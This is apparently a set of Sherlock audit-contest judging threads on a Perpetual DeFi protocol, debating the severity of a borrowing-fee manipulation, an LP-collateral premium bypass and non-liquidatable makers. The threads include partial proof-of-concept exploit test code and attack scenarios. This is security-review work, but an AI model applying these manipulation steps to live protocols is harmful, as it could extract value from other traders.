@WangSecurity Try running the POC. The real output with the change (changing the uni pool fee tier to 500) is this: Logs: Exploiter Margin at start: 10000000000000000000000000 Exploiter Margin at end: 9666444407395000000000000 accumulated Borrowing Fee in a day (USD, no decimals): 86 Cost of the exploit (USD, no decimals): -333555
WangSecurity
I've run both PoCs and I can see that the one provided by @IllIllI000 indeed has a profit of 862 and a loss of 4. Hence, I believe it is a valid attack under certain factors and conditions, therefore, planning to reject the escalation and leave the issue as it is.
nirohgo
@WangSecurity just noticed @IllIllI000 also changed the values in the test function. The results he presented are wrong. 862 is the total borrowing fee accumulated over a day. the number you should look at is the difference between borrowing fees with or without the attack (by running again commenting out the attack part as with the change I've make to the 30 cents POC). You'll see that with the new numbers @IllIllI000 presented the attack doesn't add anything to accumulated borrowing fees (in fact without the attack accumulated fees are 864).
WangSecurity
In fact, I didn't make any changes that @IllIllI000 describes here in the diff
part. I've only changed the test.sol
file itself, so the only changes between your test and @IllIllI000 test is the amount of opening position (from 500e18 to 0.6e18 for the exploiter and from 50e18 to 500e18 for taker). That is why the output I've got was 864 and not 862 as @IllIllI000 showed. Therefore, as I understand the attack is profitable only if there are different position sizes and that's it.
nirohgo
In fact, I didn't make any changes that @IllIllI000 describes here in the
diff
part. I've only changed thetest.sol
file itself, so the only changes between your test and @IllIllI000 test is the amount of opening position (from 500e18 to 0.6e18 for the exploiter and from 50e18 to 500e18 for taker). That is why the output I've got was 864 and not 862 as @IllIllI000 showed. Therefore, as I understand the attack is profitable only if there are different position sizes and that's it.
The attack is not profitable because neither 864 nor 862 are the profits of this attack. As I explained, this is the total borrowing fees accumulated over a day when there's 500e18 of paying positions. You need to look at the difference between the accumulated fees with and without the attack to tell exactly how the attack affected the accumulated fees. Make that comparison and you'll see that the attack is not viable.
WangSecurity
@nirohgo by running without the attack, you mean to comment out these specific part of the PoC? (confirmation to understand I'm running everything correctly):
vm.prank(exploiter);
(int256 pb, int256 pq) = clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(oracle_maker),
isBaseToQuote: false,
isExactInput: false,
amount: 500 * 1e18,
oppositeAmountBound:type(uint256).max,
deadline: block.timestamp,
makerData: ""
})
);
int256 exploiterPosSize = vault.getPositionSize(marketId,address(exploiter));
vm.prank(exploiter);
( pb, pq) = clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(maker),
isBaseToQuote: true,
isExactInput: true,
amount: exploiterPosSize.abs(),
oppositeAmountBound:0,
deadline: block.timestamp,
makerData: ""
})
);
nirohgo
@WangSecurity You are comparing apples to oranges. You need to run @IllIllI000 's POC once with the attack code:
vm.prank(exploiter);
(int256 pb, int256 pq) = clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(oracle_maker),
isBaseToQuote: false,
isExactInput: false,
//amount: 500 * 1e18,
amount: 0.6 * 1e18, // IllIllI
oppositeAmountBound:type(uint256).max,
deadline: block.timestamp,
makerData: ""
})
);
int256 exploiterPosSize = vault.getPositionSize(marketId,address(exploiter));
vm.prank(exploiter);
( pb, pq) = clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(maker),
isBaseToQuote: true,
isExactInput: true,
amount: exploiterPosSize.abs(),
oppositeAmountBound:0,
deadline: block.timestamp,
makerData: ""
})
);
and once with this code commented out and see the difference in accumulated borrowing fees. Again, 862 is not the profit of this attack. If you don't interpret the POC correctly you'll be making a judgment based on false data.
WangSecurity
I understand, I just wanted to get a confirmation that I correctly run without the attack. Indeed, without the attack @IllIllI000 has $864 fees accumulated in a day and with the attack the accumulated fees drop down to $862. Even if we change the taker's amount: 500 * 1e18,
back to amount: 50 * 1e18,
total accumulated fees in a day without the attack are $8 and with the attack it's $9 and the cost is $4. Therefore, I see that the attack path is indeed not viable. I'll let @IllIllI000 to come in and correct us if need and will give my final decision a bit later today. Thank you @nirohgo for the clarification.
nirohgo
I understand, I just wanted to get a confirmation that I correctly run without the attack. Indeed, without the attack @IllIllI000 has $864 fees accumulated in a day and with the attack the accumulated fees drop down to $862. Even if we change the taker's
amount: 500 * 1e18,
back toamount: 50 * 1e18,
total accumulated fees in a day without the attack are $8 and with the attack it's $9 and the cost is $4. Therefore, I see that the attack path is indeed not viable. I'll let @IllIllI000 to come in and correct us if need and will give my final decision a bit later today. Thank you @nirohgo for the clarification.
@WangSecurity thanks for dedicating attention to this.
IllIllI000
@WangSecurity It feels as though nirohgo keeps changing numbers and moving the goal post, and the net effect is that I'm DOSed. The submission is Borrow fees can be arbitrarily increased without the maker providing any value
and in your analysis you see that the cost increases by a dollar, without providing any value. I'm not familiar with these tests, so it's extremely time-consuming to fiddle with them to try to satisfy nirohgo's complaints, but the fact remains that an attacker, if they do not care about losses (Sherlock rules for a Med do not require a profit) is able to increase fees without providing any value. Even with your example, after five days (e.g. in an illiquid market, or a market where most of the trades happen between traders rather than the whitelisted makers), they'll have a profit, because it's a per-day effect.
nirohgo
@WangSecurity It feels as though nirohgo keeps changing numbers and moving the goal post, and the net effect is that I'm DOSed. The submission is
Borrow fees can be arbitrarily increased without the maker providing any value
and in your analysis you see that the cost increases by a dollar, without providing any value. I'm not familiar with these tests, so it's extremely time-consuming to fiddle with them to try to satisfy nirohgo's complaints, but the fact remains that an attacker, if they do not care about losses (Sherlock rules for a Med do not require a profit) is able to increase fees without providing any value. Even with your example, after five days (e.g. in an illiquid market, or a market where most of the trades happen between traders rather than the whitelisted makers), they'll have a profit, because it's a per-day effect.
@WangSecurity I believe going over the comments history here is enough to see that @IllIllI000 is the one trying to twist numbers around to try and find a viable attack here but keeps failing, I've shown clearly that this attack is not viable not when using large amounts (my original POC) nor with small amounts (the alternatives @IllIllI000 provided). I believe enough of everyone's time has been wasted on these attempts and it's been made clear that this is not a viable attack.
WangSecurity
@IllIllI000 need clarification from your side: even if the attack has a significant cost to manipulate and increase the borrowing fee, the borrowing fee will remain the same and the attacker will gain value over time, correct? I.e. after running the PoC with one set of values, the total accumulated fees in a day changed from $8 to $9 with -$4 as the cost for an attack, but these $9 total accumulated fees in a day will not drop down to $8 and with time the attacker will come out profittable?
IllIllI000
@WangSecurity assuming nothing changes with the position, that is correct - the new per-day rate will be $9 in perpetuity
WangSecurity
Although the attack isn't guaranteed to be profitable, it's possible. However, the negatively affected accounts are a certainty.
Planning to reject the escalation and leave the issue as it is.
nirohgo
@IllIllI000 need clarification from your side: even if the attack has a significant cost to manipulate and increase the borrowing fee, the borrowing fee will remain the same and the attacker will gain value over time, correct? I.e. after running the PoC with one set of values, the total accumulated fees in a day changed from $8 to $9 with -$4 as the cost for an attack, but these $9 total accumulated fees in a day will not drop down to $8 and with time the attacker will come out profittable?
That is incorrect. Any imbalance created by this "attack" will surely get by other positions due to market forces.
IllIllI000
I'd also like to point out that this can happen organically, with traders just normally opening and closing their positions. There doesn't have to be any attacker for the extra fees to be charged
Evert0x
Result: Medium Unique
sherlock-admin2
Escalations have been resolved successfully!
Escalation status:
Source: https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/137
The protocol has acknowledged this issue.
jokr
Position rate should not be influenced by free collateral of the OracleMaker
Position rate determines the exposure of OracleMaker. Position rate is used to determine the amount of premium based on the current oracleMaker position.
For ex: If maker has 100 ETH long position and if a user wants to open a short then the price which he has to open will be less than actual market price. If user takes the long, then its in favour of oracleMaker, so no premium will be imposed
Here is how the position rate is being calculated
function _getPositionRate(uint256 price) internal view returns (int256) {
IVault vault = _getVault();
uint256 marketId_ = _getOracleMakerStorage().marketId;
// accountValue = margin + unrealisedPnl
int256 accountValue = vault.getAccountValue(marketId_, address(this), price);
int256 unrealizedPnl = vault.getUnrealizedPnl(marketId_, address(this), price);
int256 unsettledMargin = accountValue - unrealizedPnl;
int256 collateralForOpen = FixedPointMathLib.min(unsettledMargin, accountValue);
// TODO: use positionMarginRequirement
//int256 collateralForOpen = positionMarginRequirement + freeCollateralForOpen;
if (collateralForOpen <= 0) {
revert LibError.NegativeOrZeroMargin();
}
int256 maxPositionNotional = (collateralForOpen * 1 ether) / _getOracleMakerStorage().minMarginRatio.toInt256();
// if maker has long position, positionRate > 0
// if maker has short position, positionRate < 0
int256 openNotional = vault.getOpenNotional(marketId_, address(this));
int256 uncappedPositionRate = (-openNotional * 1 ether) / maxPositionNotional;
// util ratio: 0 ~ 1
// position rate: -1 ~ 1
return
uncappedPositionRate > 0
? FixedPointMathLib.min(uncappedPositionRate, 1 ether)
: FixedPointMathLib.max(uncappedPositionRate, -1 ether);
}
The problem here is the uncappedPositionRate
also depends on maxPositionNotional
. maxPositionNotional
is the maximum openNotional possible for current openCollateral
of oracleMaker with given minMarginRatio
.
int256 uncappedPositionRate = (-openNotional * 1 ether) / maxPositionNotional;
So in this case if the freeCollateral
is more in the oracle maker than the premium becomes proportionally low which is not correct.
Consider this scenario Currently oracleMaker has 100 ETH short position. If a user wants to take a 10 ETH long position there must premium against user. So the reservation price at which user opens will be higher than market price.
Now the user deposits large amount of collateral as LP. As the. freeCollateral increases, for sufficient collateral given the premium free decreases proportionally. After the user opens the position with less premium, he just withdraws the collateral back. Thus bypassing the premium enforced by oracle maker
This is possible by considering free collateral while calculating the position rate. Position rate should solely depend on openNotional and not on free collateral in any way
Incorrect handling of risk exposure
Manual Review
Modify the position rate calculation by excluding maxPositionNotional
sherlock-admin3
1 comment(s) were left on this issue during the judging contest.
santipu_ commented:
Medium
rc56
@CheshireCatNick
CheshireCatNick
Also in the beginning we only allow whitelisted users to deposit to maker.
IllIllI000
@rc56, @CheshireCatNick, and @42bchen if you disagree that this is a High, can you let us know what severity you think this should be, and apply the disagree-with-severity tag? It seems similar to https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/127 in that the LP deposits/withdrawals can be used to game what users have to pay
Source: https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/140
The protocol has acknowledged this issue.
0xumarkhatab, ge6a, santipu_
In the current implementation, a whitelisted maker cannot be liquidated, thus it can accumulate losses even after the available margin is exhausted. This leads to losses for the traders because they won't be able to close their profitable positions due to a revert on _checkMarginRequirement.
Scenario:
1) A trader opens a long position against a whitelisted maker. 2) After some time, the price increases significantly. At this point, there are more long positions open than short positions, so this maker incurs large losses. The margin is not sufficient to cover them. However, the maker cannot be liquidated and continues to accumulate losses. 3) The trader decides to close their position and withdraw their profit. However, this cannot happen because the _closePositionFor function calls _checkMarginRequirement for the maker. vault.getFreeCollateralForTrade is < 0, leading to a revert. The trader cannot close their position. The only solution is for LPs to deposit additional collateral to cover the losses, but it doesn't make sense to deposit funds to cover losses. 4) The price decreases, and the trader loses their profit. Due to fees or a sudden price drop, the trader may also lose part of the margin.
In the described circumstances, the trader takes the risk by opening a position, but there is no way to close it and withdraw the profit. Thus, instead of gaining from the winning position, they incur losses.
Loss of funds for the trader + broken core functionality because of inability to close a position.
Manual Review
The best solution is to implement liquidation for whitelisted maker. If not possible, you can mitigate the issue with larger margin requirement for whitelisted makers.
sherlock-admin4
1 comment(s) were left on this issue during the judging contest.
takarez commented:
the natsepc says that liquidating whitelisted maker is not allwoed, so i will considered this a know issue
vinta
Agree with takarez that this is a known issue.
sherlock-admin2
Escalate
According to the Sherlock docs, the Sherlock rules for valid issues have more weight than the code comments:
Hierarchy of truth: Contest README > Sherlock rules for valid issues > protocol documentation (including code comments) > protocol answers on the contest public Discord channel. While considering the validity of an issue in case of any conflict the sources of truth are prioritized in the above order.
Given that this issue is not mentioned in the contest README and clearly demonstrates that it will cause a loss of funds, I think it should be considered a valid issue, as well as its duplicates.
You've deleted an escalation for this issue.
IllIllI000
@santipu03 nowhere does it say that there's a guarantee that the makers will provide liquidity 100% of the time, and in any market, if there's no liquidity at the price you want, that's a you problem, not a security issue. There are expected to be other market participants who can provide liquidity for closing positions, and even if bad debt does occur, the system allows for and tracks it. Just looking at the code, not just the comments, it expects that whitelisted makers can't be liquidated, so it's not clear that anything in the design is being violated. I agree that the hierarchy is a bit confusing and I would like it to be updated and clarified, but if this escalation can be closed on facts not relating specifically to the ambiguities in the hierarchy, I think we may not get such an update.
santipu03
@IllIllI000 Now that I have checked better the 3 duplicated issues, only my issue (#65) describes the full and valid impact: Whitelisted makers that cannot be liquidated will generate bad debt on the protocol, creating a loss for all users.
You're right that the intended design is to not liquidate whitelisted makers, but that will create bad debt on the protocol, and therefore cause a loss of funds. The Sherlock docs state that design decisions are not valid issues if they don't imply any loss of funds, but this issue will imply a loss of funds and therefore should be valid.
I will remove my escalation here and I will escalate my issue (#65).
gstoyanovbg
Escalate
The previous escalation was removed because the Watson decided that theirs issue is not duplicate of this one. This is why i escalate it again.
Hierarchy of truth: Contest README > Sherlock rules for valid issues > protocol documentation (including code comments) > protocol answers on the contest public Discord channel. While considering the validity of an issue in case of any conflict the sources of truth are prioritized in the above order.
The hierarchy of truth clearly states that contest's README has more weight than code comments. This issue is not part of the known issues section of the README so it is not known issue in the context of the contest.
I believe it is a valid issue.
sherlock-admin2
Escalate
The previous escalation was removed because the Watson decided that theirs issue is not duplicate of this one. This is why i escalate it again.
Hierarchy of truth: Contest README > Sherlock rules for valid issues > protocol documentation (including code comments) > protocol answers on the contest public Discord channel. While considering the validity of an issue in case of any conflict the sources of truth are prioritized in the above order.
The hierarchy of truth clearly states that contest's README has more weight than code comments. This issue is not part of the known issues section of the README so it is not known issue in the context of the contest.
I believe it is a valid issue.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
nevillehuang
Agree with @IllIllI000 comments here, I believe it is a known issue within code comments that whitelisted maker cannot be liquidated
WangSecurity
Agree with LSW and the Lead Judge. The hierarchy of truth can be applied when there is conflicting information between the code and the rules, but the code and documentation can be used to define the intended design and known issues of the protocol. We understand that it's a bit confusing, but hope for your understanding. Therefore, I agree it's an intended design and a known issue.
Planning to reject the escalation and leave the issue as it is.
Evert0x
Result: Invalid Has Duplicates
sherlock-admin4
Escalations have been resolved successfully!
Escalation status:
gstoyanovbg
Agree with LSW and the Lead Judge. The hierarchy of truth can be applied when there is conflicting information between the code and the rules, but the code and documentation can be used to define the intended design and known issues of the protocol. We understand that it's a bit confusing, but hope for your understanding. Therefore, I agree it's an intended design and a known issue.
Planning to reject the escalation and leave the issue as it is.
From Watson's point view there is no way to know when this rule should be applied and when shouldn't. Everyone interpreted it differently.
// We don't allow liquidating whitelisted makers for now until we implement safety mechanism // For spot-hedged base maker, it needs to implement rebalance once it got liquidated
Nowhere is stated that this cause other issues neither in the comment or in the known issues section. Moreover this line from the rules :
Hierarchy of truth: Contest README > Sherlock rules for valid issues > protocol documentation (including code comments) > protocol answers on the contest public Discord channel. While considering the validity of an issue in case of any conflict the sources of truth are prioritized in the above order.
unambiguously say that the README has more weight than "protocol documentation (including code comments)". In your comment you say that
The hierarchy of truth can be applied when there is conflicting information between the code and the rules
but this is not true according to the above rule which states that the conflict may be between ALL sources of truth :
While considering the validity of an issue in case of any conflict the sources of truth are prioritized in the above order.
So i don't understand the decision - from my point of view i am penalized with worsen ratio because follow the rules and interpret them in the way they are written.
santipu03
@gstoyanovbg I totally agree with you, I think in this contest the judges suddenly have decided to make decisions against the current hierarchy of truth. I've got a couple of issues that have been rejected that also should be valid based on the current hierarchy, damaging my issues ratio and escalations ratio.
@WangSecurity @Evert0x If you have decided now that the hierarchy of truth must be changed, that's totally fair. However, these new changes should be applied to contests still not finished, not to a contest that has already finished like this one. I think it's greatly unfair that these changes haven't been announced anywhere and now some Watsons are suffering its consequences.
I don't mean anything here in a bad way, I honestly think Sherlock always has been characterized by its transparent and fair judging, so that's why now I'm surprised by these sudden changes in the rules. I would like to kindly ask the judges to reconsider some decisions that have been made during these last days to issues regarding "known issues" vaguely described by a few code comments. Thanks.
IllIllI000
@santipu03 and @gstoyanovbg while I agree that the hierarchy is unclear, it was discussed here: https://github.com/sherlock-audit/2024-03-vvv-vesting-staking-judging/issues/148#issuecomment-2045743718 and I believe the current judge is interpreting things in a similar way
santipu03
@santipu03 and @gstoyanovbg while I agree that the hierarchy is unclear, it was discussed here: https://github.com/sherlock-audit/2024-03-vvv-vesting-staking-judging/issues/148#issuecomment-2045743718 and I believe the current judge is interpreting things in a similar way
I think there's a fundamental difference between the referenced discussion and the scenario we have here. Even if we consider that the code comments describe this scenario as a known issue, which I don't agree btw, we still have conflicting information between the code comments and the Sherlock rules.
Simply put, I think there is a conflict because the rules are saying this issue should be a MEDIUM (because it causes a loss of funds), and the code comments are saying that this issue should be INVALID (known issue). To me, this is conflicting information and the Sherlock rules should have priority over the code comments, as the hierarchy states. CC. @WangSecurity and @Evert0x.